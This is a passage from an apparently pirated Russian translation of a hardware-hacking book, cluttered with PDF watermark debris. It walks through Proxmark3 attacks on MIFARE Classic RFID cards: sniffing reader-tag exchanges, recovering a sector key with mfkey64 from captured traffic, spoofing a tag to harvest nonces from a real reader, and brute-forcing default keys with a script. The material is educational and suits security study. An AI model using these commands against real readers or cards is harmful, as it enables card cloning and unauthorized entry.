Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / практический хакинг.pdf
Скачиваний:
24
Добавлен:
19.04.2024
Размер:
31.35 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Подслушивание обмена данными между меткой и считывателем

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Proxmark3 может прослушивать транзакции между считывателем иметкой.Этаоперациячрезвычайнополезна,есливыхотитеизучить данные, которыми обмениваются метка и IoT-устройство.

Чтобы начать прослушивание канала связи, поместите антенну Proxmark3 между меткой и считывателем, выберите либо высоко- частотную, либо низкочастотную операцию, укажите реализацию метки и используйте параметр snoop. (Некоторые метки, завися- щие от реализации поставщика,вместо этого используют параметр sniff.)

В следующем примере мы пытаемся перехватить обмен метки, со- вместимой с ISO14443A, поэтому выбираем параметр 14a:

$ proxmark3> hf 14a snoop #db# cancelled by button #db# COMMAND FINISHED

#db# maxDataLen=4, Uart.state=0, Uart.len=0 #db# traceLen=11848, Uart.output[0]=00000093

Мы прерываем захват, нажимая кнопку Proxmark3, когда связь между картой и считывателем завершается. Чтобы получить захва- ченные пакеты, укажите либо высокую частоту, либо низкую частоту операции, параметр list и реализацию метки:

proxmark3> hf

list 14a

 

 

Recorded Activity (TraceLen

= 11848 bytes)

Start = Start

of Start Bit,

End = End of last modulation. Src = Source of Transfer

iso14443a - All times are in carrier periods (1/13.56Mhz)

iClass - Timings are not as

accurate

 

 

 

 

0 |992 | Rdr | 52' | | WUPA

 

 

2228 |

4596

| Tag | 04 00

| |

 

7040 |

9504

| Rdr | 93 20

| | ANTICOLL

10676

| 16564

| Tag | 80 55

4b

6c f2 | |

19200

| 29728

| Rdr | 93 70

80

55 4b 6c f2 30 df | ok | SELECT_UID

30900

| 34420

| Tag | 08 b6

dd | |

36224

| 40928

| Rdr | 60 00

f5

7b | ok | AUTH-A(0)

42548

| 47220

| Tag | 63 17

ec f0 | |

56832

| 66208

| Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ?

67380

| 72116

| Tag | 0e 2b

b8

3f! | |

 

 

 

 

 

 

 

 

 

На выходе также будут декодированы идентифицированные опе- рации. Восклицательные знаки рядом с шестнадцатеричными бай- тами указывают на то, что во время захвата произошла битовая ошибка.

Радио ближнего действия: взлом rFID  303

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Извлечение ключа сектора из перехваченного трафика w Click

to

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

Подслушивание RFID-трафика может раскрывать конфиденциаль-

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

ную информацию,особенно когда метки используютслабые элемен-

 

 

 

 

 

 

 

 

 

 

ты аутентификации или незашифрованные каналы связи.Поскольку

 

 

 

 

 

 

 

 

 

 

метки MIFARE Classic используют протокол слабой аутентифика-

 

 

 

 

 

 

 

 

 

 

ции,выможетеизвлечьзакрытыйключсектора,зафиксироваводно-

 

 

 

 

 

 

 

 

 

 

кратную успешную аутентификацию между меткой и считывателем

 

 

 

 

 

 

 

 

 

 

RFID.

 

 

 

 

 

 

 

 

 

 

 

 

Согласно спецификации, метки MIFARE Classic выполняют треххо-

 

 

 

 

 

 

 

 

 

 

довой контроль аутентификации с помощью­

считывателя RFID для

 

 

 

 

 

 

 

 

 

 

каждого запрошенного сектора. Сначала RFID-метка выбирает пара- метр с именем nt и отправляет его в считыватель RFID. Считыватель выполняет криптографическую операцию, используя закрытый ключ и полученный параметр. Он генерирует ответ ar. Затем выбирает па- раметр с именем nr и отправляет его в RFID-метку вместе с ar. Далее метка выполняет аналогичную криптографическую операцию с па- раметрами и закрытым ключом, генерируя ответ, который она от- правляет обратно считывателю RFID. Поскольку криптографические операции, выполняемые считывателем и меткой, являются слабы- ми,знание этих параметров позволяет вычислить закрытый ключ!

Давайтерассмотримперехватсообщений,зафиксированныхвпре- дыдущем разделе для извлечения следующих параметров обмена:

proxmark3> hf list 14a

 

 

 

 

 

 

 

 

Start = Start of Start Bit, End =

End

of last

modulation. Src = Source of Transfer

iso14443a - All times are

in carrier periods (1/13.56Mhz)

 

iClass - Timings are not as accurate

 

 

 

 

 

Start |End | Src

| Data (!

denotes

parity error, ' denotes short bytes)| CRC | Annotation |

------------

 

|------------

 

 

|

-----

|-----------------------------------------------------------

 

 

 

 

 

---

 

 

 

 

 

 

 

 

 

 

 

 

0 |992 | Rdr |

52' | |

WUPA

 

 

 

 

 

 

2228 |

 

4596 | Tag | 04

00

| |

 

 

 

 

 

7040 |

 

9504 | Rdr | 93

20

| | ANTICOLL

 

 

 

10676

|

16564

|

Tag |

80

55

4b

6c

f2

| |

 

 

19200

|

29728

|

Rdr |

93

70

80

55

4b

6c f2

30

df | ok | SELECT_UID

30900

|

34420

|

Tag |

08

b6

dd

| |

 

 

 

 

36224

|

40928

|

Rdr |

60

00

f5

7b

|

ok | AUTH-A(0)

42548

|

47220

|

Tag |

63

17

ec

f0

| |

 

 

56832

|

66208

|

Rdr |

5f!

3e!

fb

d2

94!

0e! 94

6b

| !crc| ?

67380

|

72116

|

Tag |

0e

2b

b8

3f!

| |

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мы можем идентифицировать UID карты как значение, которое стоит перед командой SELECT_UID. Параметры nt , nr, ar и at появляются только после команды AUTH-A(0), всегда в этом порядке.

Исходный код Proxmark3 содержит инструмент с именем mfkey64, который может выполнить для нас криптографические вычисления. Передайте ему UID карты, за которым следуют параметры nt, nr, ar

и at:

304  Глава 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

$ ./tools/mfkey/mfkey64 80554b6c 6317ecf0 5f3efbd2 940e946b 0e2bb83f

MIFARE Classic key recovery - based on 64 bits of keystream Recover key from only one complete authentication! Recovering key for:

uid: 80554b6c nt: 6317ecf0 {nr}: 5f3efbd2 {ar}: 940e946b {at}: 0e2bb83f

LFSR successors of the tag challenge: nt' : bb2a17bc

nt'': 70010929

Time spent in lfsr_recovery64(): 0.09 seconds Keystream used to generate {ar} and {at}:

ks2: 2f2483d7 ks3: 7e2ab116

Found Key: [FFFFFFFFFFFF]

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Если параметры верны, инструмент вычисляет закрытый ключ для сектора.

Атака путем подделки RFID

Вэтомразделемыпокажемвам,какподделатьлегальнуюRFID-метку и выполнить атаку прямым перебором против контроля аутентифи- кации RFID-считывателя.Эта атака полезна в случаях,когда у вас есть длительный доступ к легальному считывателю и ограниченный до- ступ к метке жертвы.

Как вы могли заметить, легальная метка отправит ответ at легаль- ному считывателю только после трехэтапной аутентификации. Зло- умышленники, имеющие физический доступ к считывателю, могут подделатьметкуRFID,сгенерироватьсвойсобственныйответnt ипо- лучить nr и ar от легального считывателя. Хотя сеанс аутентифика- ции не может успешно завершиться, поскольку злоумышленники не знают ключ сектора, они могут выполнить атаку методом перебора остальных параметров и вычислить ключ.

Чтобы выполнить атаку легитимного считывателя, используйте команду­ имитации тега hf mf sim:

proxmark3> hf mf sim *1 u 19349245 x i

mf sim cardsize: 1K, uid: 19 34 92 45 , numreads:0, flags:19 (0x13) Press pm3-button to abort simulation

#db# Auth attempt {nr}{ar}: c67f5ca8 68529499

Collected two pairs of AR/NR which can be used to extract keys from reader:

Символ * выбирает все блоки тегов. Следующее за ним число ука- зывает размер памяти (в данном примере 1 – для MIFARE Classic 1 KB). Параметр u перечисляет UID поддельной метки RFID, а пара-

Радио ближнего действия: взлом rFID  305

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

метр x включает атаку. Параметр i позволяет пользователю получать

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

интерактивный вывод.

 

w

 

df-x chan

 

o

 

 

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

Вывод команды будет содержать значения nr и ar, которые мы мо- жем использовать для выполнения вычисления ключа таким же об- разом, как и в предыдущем разделе. Обратите внимание, что даже после вычисления ключа сектора нам нужно будет получить доступ к фальсифицируемой метке для чтения ее памяти.

Автоматизация RFID-атак с по­мощью механизма скриптов Proxmark3

Программное обеспечение Proxmark3 поставляется с предварительно загруженным списком скриптов автоматизации, которые можно ис- пользовать для выполнения простых задач. Чтобы получить полный список, используйте команду script list:

$ proxmark3> script list

brutesim.lua

A

script file

tnp3dump.lua

A

script file

 

 

dumptoemul.lua

A

script file

mfkeys.lua

A

script file

test_t55x7_fsk.lua

A script file

 

 

 

Затем используйте команду запуска скрипта, за которой следует его имя, чтобы выполнить один из скриптов. Например, следующая команда выполняет скрипт mfkeys, в котором используются методы, представленные выше в этой главе (см. раздел «Взлом ключей мето- домперебора»)дляавтоматизациипроцессапрямогоподборапароля

MIFARE Classic:

$ proxmark3> script run mfkeys

--- Executing: mfkeys.lua, args '' This script implements check keys.

It utilises a large list of default keys (currently 92 keys).

If you want to add more, just put them inside mf_default_keys.lua. Found a NXP MIFARE CLASSIC 1k | Plus 2k tag

Testing block 3, keytype 0, with 85 keys

Do you wish to save the keys to dumpfile? [y/n] ?

Еще один очень полезный скрипт – dumptoemul, который преобра- зует файл .bin, созданный с помощью­ команды dump, в файл .eml, ко- торыйвыможетенапрямуюзагрузитьвпамятьэмулятораProxmark3:

proxmark3> script run dumptoemul -i dumpdata.bin -o CEA0B6B4.eml

--- Executing: dumptoemul.lua, args '-i dumpdata.bin -o CEA0B6B4.eml'

306  Глава 10